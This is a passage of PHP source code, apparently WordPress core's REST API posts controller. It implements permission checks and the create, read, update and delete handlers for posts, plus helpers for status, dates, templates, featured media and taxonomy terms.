		if ( empty( $post ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) {
			return $error;
		}

		return $post;
	}

	/**
	 * Checks if a given request has access to read a post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access for the item, WP_Error object or false otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( 'edit' === $request['context'] && $post && ! $this->check_update_permission( $post ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( $post && ! empty( $request['password'] ) ) {
			// Check post password, and return error if invalid.
			if ( ! hash_equals( $post->post_password, $request['password'] ) ) {
				return new WP_Error(
					'rest_post_incorrect_password',
					__( 'Incorrect post password.' ),
					array( 'status' => 403 )
				);
			}
		}

		// Allow access to all password protected posts if the context is edit.
		if ( 'edit' === $request['context'] ) {
			add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 );
		}

		if ( $post ) {
			return $this->check_read_permission( $post );
		}

		return true;
	}

	/**
	 * Checks if the user can access password-protected content.
	 *
	 * This method determines whether we need to override the regular password
	 * check in core with a filter.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post         $post    Post to check against.
	 * @param WP_REST_Request $request Request data to check.
	 * @return bool True if the user can access password-protected content, otherwise false.
	 */
	public function can_access_password_content( $post, $request ) {
		if ( empty( $post->post_password ) ) {
			// No filter required.
			return false;
		}

		/*
		 * Users always gets access to password protected content in the edit
		 * context if they have the `edit_post` meta capability.
		 */
		if (
			'edit' === $request['context'] &&
			current_user_can( 'edit_post', $post->ID )
		) {
			return true;
		}

		// No password, no auth.
		if ( empty( $request['password'] ) ) {
			return false;
		}

		// Double-check the request password.
		return hash_equals( $post->post_password, $request['password'] );
	}

	/**
	 * Retrieves a single post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$data     = $this->prepare_item_for_response( $post, $request );
		$response = rest_ensure_response( $data );

		if ( is_post_type_viewable( get_post_type_object( $post->post_type ) ) ) {
			$response->link_header( 'alternate', get_permalink( $post->ID ), array( 'type' => 'text/html' ) );
		}

		return $response;
	}

	/**
	 * Checks if a given request has access to create a post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error(
				'rest_post_exists',
				__( 'Cannot create existing post.' ),
				array( 'status' => 400 )
			);
		}

		$post_type = get_post_type_object( $this->post_type );

		if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
			return new WP_Error(
				'rest_cannot_edit_others',
				__( 'Sorry, you are not allowed to create posts as this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) && ! current_user_can( $post_type->cap->publish_posts ) ) {
			return new WP_Error(
				'rest_cannot_assign_sticky',
				__( 'Sorry, you are not allowed to make posts sticky.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! current_user_can( $post_type->cap->create_posts ) ) {
			return new WP_Error(
				'rest_cannot_create',
				__( 'Sorry, you are not allowed to create posts as this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! $this->check_assign_terms_permission( $request ) ) {
			return new WP_Error(
				'rest_cannot_assign_term',
				__( 'Sorry, you are not allowed to assign the provided terms.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Creates a single post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error(
				'rest_post_exists',
				__( 'Cannot create existing post.' ),
				array( 'status' => 400 )
			);
		}

		$prepared_post = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared_post ) ) {
			return $prepared_post;
		}

		$prepared_post->post_type = $this->post_type;

		if ( ! empty( $prepared_post->post_name )
			&& ! empty( $prepared_post->post_status )
			&& in_array( $prepared_post->post_status, array( 'draft', 'pending' ), true )
		) {
			/*
			 * `wp_unique_post_slug()` returns the same slug for 'draft' or 'pending' posts.
			 *
			 * To ensure that a unique slug is generated, pass the post data with the 'publish' status.
			 */
			$prepared_post->post_name = wp_unique_post_slug(
				$prepared_post->post_name,
				$prepared_post->id,
				'publish',
				$prepared_post->post_type,
				$prepared_post->post_parent
			);
		}

		$post_id = wp_insert_post( wp_slash( (array) $prepared_post ), true, false );

		if ( is_wp_error( $post_id ) ) {

			if ( 'db_insert_error' === $post_id->get_error_code() ) {
				$post_id->add_data( array( 'status' => 500 ) );
			} else {
				$post_id->add_data( array( 'status' => 400 ) );
			}

			return $post_id;
		}

		$post = get_post( $post_id );

		/**
		 * Fires after a single post is created or updated via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_insert_post`
		 *  - `rest_insert_page`
		 *  - `rest_insert_attachment`
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Post         $post     Inserted or updated post object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a post, false when updating.
		 */
		do_action( "rest_insert_{$this->post_type}", $post, $request, true );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['sticky'] ) ) {
			if ( ! empty( $request['sticky'] ) ) {
				stick_post( $post_id );
			} else {
				unstick_post( $post_id );
			}
		}

		if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) {
			$this->handle_featured_media( $request['featured_media'], $post_id );
		}

		if ( ! empty( $schema['properties']['format'] ) && ! empty( $request['format'] ) ) {
			set_post_format( $post, $request['format'] );
		}

		if ( ! empty( $schema['properties']['template'] ) && isset( $request['template'] ) ) {
			$this->handle_template( $request['template'], $post_id, true );
		}

		$terms_update = $this->handle_terms( $post_id, $request );

		if ( is_wp_error( $terms_update ) ) {
			return $terms_update;
		}

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $post_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$post          = get_post( $post_id );
		$fields_update = $this->update_additional_fields_for_object( $post, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a single post is completely created or updated via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_after_insert_post`
		 *  - `rest_after_insert_page`
		 *  - `rest_after_insert_attachment`
		 *
		 * @since 5.0.0
		 *
		 * @param WP_Post         $post     Inserted or updated post object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a post, false when updating.
		 */
		do_action( "rest_after_insert_{$this->post_type}", $post, $request, true );

		wp_after_insert_post( $post, false, null );

		$response = $this->prepare_item_for_response( $post, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( rest_get_route_for_post( $post ) ) );

		return $response;
	}

	/**
	 * Checks if a given request has access to update a post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$post_type = get_post_type_object( $this->post_type );

		if ( $post && ! $this->check_update_permission( $post ) ) {
			return new WP_Error(
				'rest_cannot_edit',
				__( 'Sorry, you are not allowed to edit this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
			return new WP_Error(
				'rest_cannot_edit_others',
				__( 'Sorry, you are not allowed to update posts as this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) && ! current_user_can( $post_type->cap->publish_posts ) ) {
			return new WP_Error(
				'rest_cannot_assign_sticky',
				__( 'Sorry, you are not allowed to make posts sticky.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! $this->check_assign_terms_permission( $request ) ) {
			return new WP_Error(
				'rest_cannot_assign_term',
				__( 'Sorry, you are not allowed to assign the provided terms.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Updates a single post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$valid_check = $this->get_post( $request['id'] );
		if ( is_wp_error( $valid_check ) ) {
			return $valid_check;
		}

		$post_before = get_post( $request['id'] );
		$post        = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( ! empty( $post->post_status ) ) {
			$post_status = $post->post_status;
		} else {
			$post_status = $post_before->post_status;
		}

		/*
		 * `wp_unique_post_slug()` returns the same slug for 'draft' or 'pending' posts.
		 *
		 * To ensure that a unique slug is generated, pass the post data with the 'publish' status.
		 */
		if ( ! empty( $post->post_name ) && in_array( $post_status, array( 'draft', 'pending' ), true ) ) {
			$post_parent     = ! empty( $post->post_parent ) ? $post->post_parent : 0;
			$post->post_name = wp_unique_post_slug(
				$post->post_name,
				$post->ID,
				'publish',
				$post->post_type,
				$post_parent
			);
		}

		// Convert the post object to an array, otherwise wp_update_post() will expect non-escaped input.
		$post_id = wp_update_post( wp_slash( (array) $post ), true, false );

		if ( is_wp_error( $post_id ) ) {
			if ( 'db_update_error' === $post_id->get_error_code() ) {
				$post_id->add_data( array( 'status' => 500 ) );
			} else {
				$post_id->add_data( array( 'status' => 400 ) );
			}
			return $post_id;
		}

		$post = get_post( $post_id );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
		do_action( "rest_insert_{$this->post_type}", $post, $request, false );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['format'] ) && ! empty( $request['format'] ) ) {
			set_post_format( $post, $request['format'] );
		}

		if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) {
			$this->handle_featured_media( $request['featured_media'], $post_id );
		}

		if ( ! empty( $schema['properties']['sticky'] ) && isset( $request['sticky'] ) ) {
			if ( ! empty( $request['sticky'] ) ) {
				stick_post( $post_id );
			} else {
				unstick_post( $post_id );
			}
		}

		if ( ! empty( $schema['properties']['template'] ) && isset( $request['template'] ) ) {
			$this->handle_template( $request['template'], $post->ID );
		}

		$terms_update = $this->handle_terms( $post->ID, $request );

		if ( is_wp_error( $terms_update ) ) {
			return $terms_update;
		}

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $post->ID );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$post          = get_post( $post_id );
		$fields_update = $this->update_additional_fields_for_object( $post, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		// Filter is fired in WP_REST_Attachments_Controller subclass.
		if ( 'attachment' === $this->post_type ) {
			$response = $this->prepare_item_for_response( $post, $request );
			return rest_ensure_response( $response );
		}

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
		do_action( "rest_after_insert_{$this->post_type}", $post, $request, false );

		wp_after_insert_post( $post, true, $post_before );

		$response = $this->prepare_item_for_response( $post, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a given request has access to delete a post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( $post && ! $this->check_delete_permission( $post ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes a single post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$id    = $post->ID;
		$force = (bool) $request['force'];

		$supports_trash = ( EMPTY_TRASH_DAYS > 0 );

		if ( 'attachment' === $post->post_type ) {
			$supports_trash = $supports_trash && MEDIA_TRASH;
		}

		/**
		 * Filters whether a post is trashable.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_post_trashable`
		 *  - `rest_page_trashable`
		 *  - `rest_attachment_trashable`
		 *
		 * Pass false to disable Trash support for the post.
		 *
		 * @since 4.7.0
		 *
		 * @param bool    $supports_trash Whether the post type support trashing.
		 * @param WP_Post $post           The Post object being considered for trashing support.
		 */
		$supports_trash = apply_filters( "rest_{$this->post_type}_trashable", $supports_trash, $post );

		if ( ! $this->check_delete_permission( $post ) ) {
			return new WP_Error(
				'rest_user_cannot_delete_post',
				__( 'Sorry, you are not allowed to delete this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$request->set_param( 'context', 'edit' );

		// If we're forcing, then delete permanently.
		if ( $force ) {
			$previous = $this->prepare_item_for_response( $post, $request );
			$result   = wp_delete_post( $id, true );
			$response = new WP_REST_Response();
			$response->set_data(
				array(
					'deleted'  => true,
					'previous' => $previous->get_data(),
				)
			);
		} else {
			// If we don't support trashing for this type, error out.
			if ( ! $supports_trash ) {
				return new WP_Error(
					'rest_trash_not_supported',
					/* translators: %s: force=true */
					sprintf( __( "The post does not support trashing. Set '%s' to delete." ), 'force=true' ),
					array( 'status' => 501 )
				);
			}

			// Otherwise, only trash if we haven't already.
			if ( 'trash' === $post->post_status ) {
				return new WP_Error(
					'rest_already_trashed',
					__( 'The post has already been deleted.' ),
					array( 'status' => 410 )
				);
			}

			/*
			 * (Note that internally this falls through to `wp_delete_post()`
			 * if the Trash is disabled.)
			 */
			$result   = wp_trash_post( $id );
			$post     = get_post( $id );
			$response = $this->prepare_item_for_response( $post, $request );
		}

		if ( ! $result ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The post cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		/**
		 * Fires immediately after a single post is deleted or trashed via the REST API.
		 *
		 * They dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_delete_post`
		 *  - `rest_delete_page`
		 *  - `rest_delete_attachment`
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Post          $post     The deleted or trashed post.
		 * @param WP_REST_Response $response The response data.
		 * @param WP_REST_Request  $request  The request sent to the API.
		 */
		do_action( "rest_delete_{$this->post_type}", $post, $response, $request );

		return $response;
	}

	/**
	 * Determines the allowed query_vars for a get_items() response and prepares
	 * them for WP_Query.
	 *
	 * @since 4.7.0
	 *
	 * @param array           $prepared_args Optional. Prepared WP_Query arguments. Default empty array.
	 * @param WP_REST_Request $request       Optional. Full details about the request.
	 * @return array Items query arguments.
	 */
	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
		$query_args = array();

		foreach ( $prepared_args as $key => $value ) {
			/**
			 * Filters the query_vars used in get_items() for the constructed query.
			 *
			 * The dynamic portion of the hook name, `$key`, refers to the query_var key.
			 *
			 * @since 4.7.0
			 *
			 * @param string $value The query_var value.
			 */
			$query_args[ $key ] = apply_filters( "rest_query_var-{$key}", $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
		}

		if ( 'post' !== $this->post_type || ! isset( $query_args['ignore_sticky_posts'] ) ) {
			$query_args['ignore_sticky_posts'] = true;
		}

		// Map to proper WP_Query orderby param.
		if ( isset( $query_args['orderby'] ) && isset( $request['orderby'] ) ) {
			$orderby_mappings = array(
				'id'            => 'ID',
				'include'       => 'post__in',
				'slug'          => 'post_name',
				'include_slugs' => 'post_name__in',
			);

			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
				$query_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
			}
		}

		return $query_args;
	}

	/**
	 * Checks the post_date_gmt or modified_gmt and prepare any post or
	 * modified date for single post output.
	 *
	 * @since 4.7.0
	 *
	 * @param string      $date_gmt GMT publication time.
	 * @param string|null $date     Optional. Local publication time. Default null.
	 * @return string|null ISO8601/RFC3339 formatted datetime.
	 */
	protected function prepare_date_response( $date_gmt, $date = null ) {
		// Use the date if passed.
		if ( isset( $date ) ) {
			return mysql_to_rfc3339( $date );
		}

		// Return null if $date_gmt is empty/zeros.
		if ( '0000-00-00 00:00:00' === $date_gmt ) {
			return null;
		}

		// Return the formatted datetime.
		return mysql_to_rfc3339( $date_gmt );
	}

	/**
	 * Prepares a single post for create or update.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass|WP_Error Post object or WP_Error.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_post  = new stdClass();
		$current_status = '';

		// Post ID.
		if ( isset( $request['id'] ) ) {
			$existing_post = $this->get_post( $request['id'] );
			if ( is_wp_error( $existing_post ) ) {
				return $existing_post;
			}

			$prepared_post->ID = $existing_post->ID;
			$current_status    = $existing_post->post_status;
		}

		$schema = $this->get_item_schema();

		// Post title.
		if ( ! empty( $schema['properties']['title'] ) && isset( $request['title'] ) ) {
			if ( is_string( $request['title'] ) ) {
				$prepared_post->post_title = $request['title'];
			} elseif ( ! empty( $request['title']['raw'] ) ) {
				$prepared_post->post_title = $request['title']['raw'];
			}
		}

		// Post content.
		if ( ! empty( $schema['properties']['content'] ) && isset( $request['content'] ) ) {
			if ( is_string( $request['content'] ) ) {
				$prepared_post->post_content = $request['content'];
			} elseif ( isset( $request['content']['raw'] ) ) {
				$prepared_post->post_content = $request['content']['raw'];
			}
		}

		// Post excerpt.
		if ( ! empty( $schema['properties']['excerpt'] ) && isset( $request['excerpt'] ) ) {
			if ( is_string( $request['excerpt'] ) ) {
				$prepared_post->post_excerpt = $request['excerpt'];
			} elseif ( isset( $request['excerpt']['raw'] ) ) {
				$prepared_post->post_excerpt = $request['excerpt']['raw'];
			}
		}

		// Post type.
		if ( empty( $request['id'] ) ) {
			// Creating new post, use default type for the controller.
			$prepared_post->post_type = $this->post_type;
		} else {
			// Updating a post, use previous type.
			$prepared_post->post_type = get_post_type( $request['id'] );
		}

		$post_type = get_post_type_object( $prepared_post->post_type );

		// Post status.
		if (
			! empty( $schema['properties']['status'] ) &&
			isset( $request['status'] ) &&
			( ! $current_status || $current_status !== $request['status'] )
		) {
			$status = $this->handle_status_param( $request['status'], $post_type );

			if ( is_wp_error( $status ) ) {
				return $status;
			}

			$prepared_post->post_status = $status;
		}

		// Post date.
		if ( ! empty( $schema['properties']['date'] ) && ! empty( $request['date'] ) ) {
			$current_date = isset( $prepared_post->ID ) ? get_post( $prepared_post->ID )->post_date : false;
			$date_data    = rest_get_date_with_gmt( $request['date'] );

			if ( ! empty( $date_data ) && $current_date !== $date_data[0] ) {
				list( $prepared_post->post_date, $prepared_post->post_date_gmt ) = $date_data;
				$prepared_post->edit_date                                        = true;
			}
		} elseif ( ! empty( $schema['properties']['date_gmt'] ) && ! empty( $request['date_gmt'] ) ) {
			$current_date = isset( $prepared_post->ID ) ? get_post( $prepared_post->ID )->post_date_gmt : false;
			$date_data    = rest_get_date_with_gmt( $request['date_gmt'], true );

			if ( ! empty( $date_data ) && $current_date !== $date_data[1] ) {
				list( $prepared_post->post_date, $prepared_post->post_date_gmt ) = $date_data;
				$prepared_post->edit_date                                        = true;
			}
		}

		/*
		 * Sending a null date or date_gmt value resets date and date_gmt to their
		 * default values (`0000-00-00 00:00:00`).
		 */
		if (
			( ! empty( $schema['properties']['date_gmt'] ) && $request->has_param( 'date_gmt' ) && null === $request['date_gmt'] ) ||
			( ! empty( $schema['properties']['date'] ) && $request->has_param( 'date' ) && null === $request['date'] )
		) {
			$prepared_post->post_date_gmt = null;
			$prepared_post->post_date     = null;
		}

		// Post slug.
		if ( ! empty( $schema['properties']['slug'] ) && isset( $request['slug'] ) ) {
			$prepared_post->post_name = $request['slug'];
		}

		// Author.
		if ( ! empty( $schema['properties']['author'] ) && ! empty( $request['author'] ) ) {
			$post_author = (int) $request['author'];

			if ( get_current_user_id() !== $post_author ) {
				$user_obj = get_userdata( $post_author );

				if ( ! $user_obj ) {
					return new WP_Error(
						'rest_invalid_author',
						__( 'Invalid author ID.' ),
						array( 'status' => 400 )
					);
				}
			}

			$prepared_post->post_author = $post_author;
		}

		// Post password.
		if ( ! empty( $schema['properties']['password'] ) && isset( $request['password'] ) ) {
			$prepared_post->post_password = $request['password'];

			if ( '' !== $request['password'] ) {
				if ( ! empty( $schema['properties']['sticky'] ) && ! empty( $request['sticky'] ) ) {
					return new WP_Error(
						'rest_invalid_field',
						__( 'A post can not be sticky and have a password.' ),
						array( 'status' => 400 )
					);
				}

				if ( ! empty( $prepared_post->ID ) && is_sticky( $prepared_post->ID ) ) {
					return new WP_Error(
						'rest_invalid_field',
						__( 'A sticky post can not be password protected.' ),
						array( 'status' => 400 )
					);
				}
			}
		}

		if ( ! empty( $schema['properties']['sticky'] ) && ! empty( $request['sticky'] ) ) {
			if ( ! empty( $prepared_post->ID ) && post_password_required( $prepared_post->ID ) ) {
				return new WP_Error(
					'rest_invalid_field',
					__( 'A password protected post can not be set to sticky.' ),
					array( 'status' => 400 )
				);
			}
		}

		// Parent.
		if ( ! empty( $schema['properties']['parent'] ) && isset( $request['parent'] ) ) {
			if ( 0 === (int) $request['parent'] ) {
				$prepared_post->post_parent = 0;
			} else {
				$parent = get_post( (int) $request['parent'] );

				if ( empty( $parent ) ) {
					return new WP_Error(
						'rest_post_invalid_id',
						__( 'Invalid post parent ID.' ),
						array( 'status' => 400 )
					);
				}

				$prepared_post->post_parent = (int) $parent->ID;
			}
		}

		// Menu order.
		if ( ! empty( $schema['properties']['menu_order'] ) && isset( $request['menu_order'] ) ) {
			$prepared_post->menu_order = (int) $request['menu_order'];
		}

		// Comment status.
		if ( ! empty( $schema['properties']['comment_status'] ) && ! empty( $request['comment_status'] ) ) {
			$prepared_post->comment_status = $request['comment_status'];
		}

		// Ping status.
		if ( ! empty( $schema['properties']['ping_status'] ) && ! empty( $request['ping_status'] ) ) {
			$prepared_post->ping_status = $request['ping_status'];
		}

		if ( ! empty( $schema['properties']['template'] ) ) {
			// Force template to null so that it can be handled exclusively by the REST controller.
			$prepared_post->page_template = null;
		}

		/**
		 * Filters a post before it is inserted via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_pre_insert_post`
		 *  - `rest_pre_insert_page`
		 *  - `rest_pre_insert_attachment`
		 *
		 * @since 4.7.0
		 *
		 * @param stdClass        $prepared_post An object representing a single post prepared
		 *                                       for inserting or updating the database.
		 * @param WP_REST_Request $request       Request object.
		 */
		return apply_filters( "rest_pre_insert_{$this->post_type}", $prepared_post, $request );
	}

	/**
	 * Checks whether the status is valid for the given post.
	 *
	 * Allows for sending an update request with the current status, even if that status would not be acceptable.
	 *
	 * @since 5.6.0
	 *
	 * @param string          $status  The provided status.
	 * @param WP_REST_Request $request The request object.
	 * @param string          $param   The parameter name.
	 * @return true|WP_Error True if the status is valid, or WP_Error if not.
	 */
	public function check_status( $status, $request, $param ) {
		if ( $request['id'] ) {
			$post = $this->get_post( $request['id'] );

			if ( ! is_wp_error( $post ) && $post->post_status === $status ) {
				return true;
			}
		}

		$args = $request->get_attributes()['args'][ $param ];

		return rest_validate_value_from_schema( $status, $args, $param );
	}

	/**
	 * Determines validity and normalizes the given status parameter.
	 *
	 * @since 4.7.0
	 *
	 * @param string       $post_status Post status.
	 * @param WP_Post_Type $post_type   Post type.
	 * @return string|WP_Error Post status or WP_Error if lacking the proper permission.
	 */
	protected function handle_status_param( $post_status, $post_type ) {

		switch ( $post_status ) {
			case 'draft':
			case 'pending':
				break;
			case 'private':
				if ( ! current_user_can( $post_type->cap->publish_posts ) ) {
					return new WP_Error(
						'rest_cannot_publish',
						__( 'Sorry, you are not allowed to create private posts in this post type.' ),
						array( 'status' => rest_authorization_required_code() )
					);
				}
				break;
			case 'publish':
			case 'future':
				if ( ! current_user_can( $post_type->cap->publish_posts ) ) {
					return new WP_Error(
						'rest_cannot_publish',
						__( 'Sorry, you are not allowed to publish posts in this post type.' ),
						array( 'status' => rest_authorization_required_code() )
					);
				}
				break;
			default:
				if ( ! get_post_status_object( $post_status ) ) {
					$post_status = 'draft';
				}
				break;
		}

		return $post_status;
	}

	/**
	 * Determines the featured media based on a request param.
	 *
	 * @since 4.7.0
	 *
	 * @param int $featured_media Featured Media ID.
	 * @param int $post_id        Post ID.
	 * @return bool|WP_Error Whether the post thumbnail was successfully deleted, otherwise WP_Error.
	 */
	protected function handle_featured_media( $featured_media, $post_id ) {

		$featured_media = (int) $featured_media;
		if ( $featured_media ) {
			$result = set_post_thumbnail( $post_id, $featured_media );
			if ( $result ) {
				return true;
			} else {
				return new WP_Error(
					'rest_invalid_featured_media',
					__( 'Invalid featured media ID.' ),
					array( 'status' => 400 )
				);
			}
		} else {
			return delete_post_thumbnail( $post_id );
		}
	}

	/**
	 * Checks whether the template is valid for the given post.
	 *
	 * @since 4.9.0
	 *
	 * @param string          $template Page template filename.
	 * @param WP_REST_Request $request  Request.
	 * @return true|WP_Error True if template is still valid or if the same as existing value, or a WP_Error if template not supported.
	 */
	public function check_template( $template, $request ) {

		if ( ! $template ) {
			return true;
		}

		if ( $request['id'] ) {
			$post             = get_post( $request['id'] );
			$current_template = get_page_template_slug( $request['id'] );
		} else {
			$post             = null;
			$current_template = '';
		}

		// Always allow for updating a post to the same template, even if that template is no longer supported.
		if ( $template === $current_template ) {
			return true;
		}

		// If this is a create request, get_post() will return null and wp theme will fallback to the passed post type.
		$allowed_templates = wp_get_theme()->get_page_templates( $post, $this->post_type );

		if ( isset( $allowed_templates[ $template ] ) ) {
			return true;
		}

		return new WP_Error(
			'rest_invalid_param',
			/* translators: 1: Parameter, 2: List of valid values. */
			sprintf( __( '%1$s is not one of %2$s.' ), 'template', implode( ', ', array_keys( $allowed_templates ) ) )
		);
	}

	/**
	 * Sets the template for a post.
	 *
	 * @since 4.7.0
	 * @since 4.9.0 Added the `$validate` parameter.
	 *
	 * @param string $template Page template filename.
	 * @param int    $post_id  Post ID.
	 * @param bool   $validate Whether to validate that the template selected is valid.
	 */
	public function handle_template( $template, $post_id, $validate = false ) {

		if ( $validate && ! array_key_exists( $template, wp_get_theme()->get_page_templates( get_post( $post_id ) ) ) ) {
			$template = '';
		}

		update_post_meta( $post_id, '_wp_page_template', $template );
	}

	/**
	 * Updates the post's terms from a REST request.
	 *
	 * @since 4.7.0
	 *
	 * @param int             $post_id The post ID to update the terms form.
	 * @param WP_REST_Request $request The request object with post and terms data.
	 * @return null|WP_Error WP_Error on an error assigning any of the terms, otherwise null.
	 */
	protected function handle_terms( $post_id, $request ) {
		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( ! isset( $request[ $base ] ) ) {
				continue;
			}

			$result = wp_set_object_terms( $post_id, $request[ $base ], $taxonomy->name );

			if ( is_wp_error( $result ) ) {
				return $result;
			}
		}
	}

	/**
	 * Checks whether current user can assign all terms sent with the current request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request The request object with post and terms data.
	 * @return bool Whether the current user can assign the provided terms.
	 */
	protected function check_assign_terms_permission( $request ) {
		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );
		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( ! isset( $request[ $base ] ) ) {
				continue;
			}

			foreach ( (array) $request[ $base ] as $term_id ) {
				// Invalid terms will be rejected later.
				if ( ! get_term( $term_id, $taxonomy->name ) ) {
					continue;
				}

				if ( ! current_user_can( 'assign_term', (int) $term_id ) ) {
					return false;
				}
			}
		}

		return true;
	}

	/**
	 * Checks if a given post type can be viewed or managed.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post_Type|string $post_type Post type name or object.
	 * @return bool Whether the post type is allowed in REST.
	 */
	protected function check_is_post_type_allowed( $post_type ) {
		if ( ! is_object( $post_type ) ) {
			$post_type = get_post_type_object( $post_type );
		}

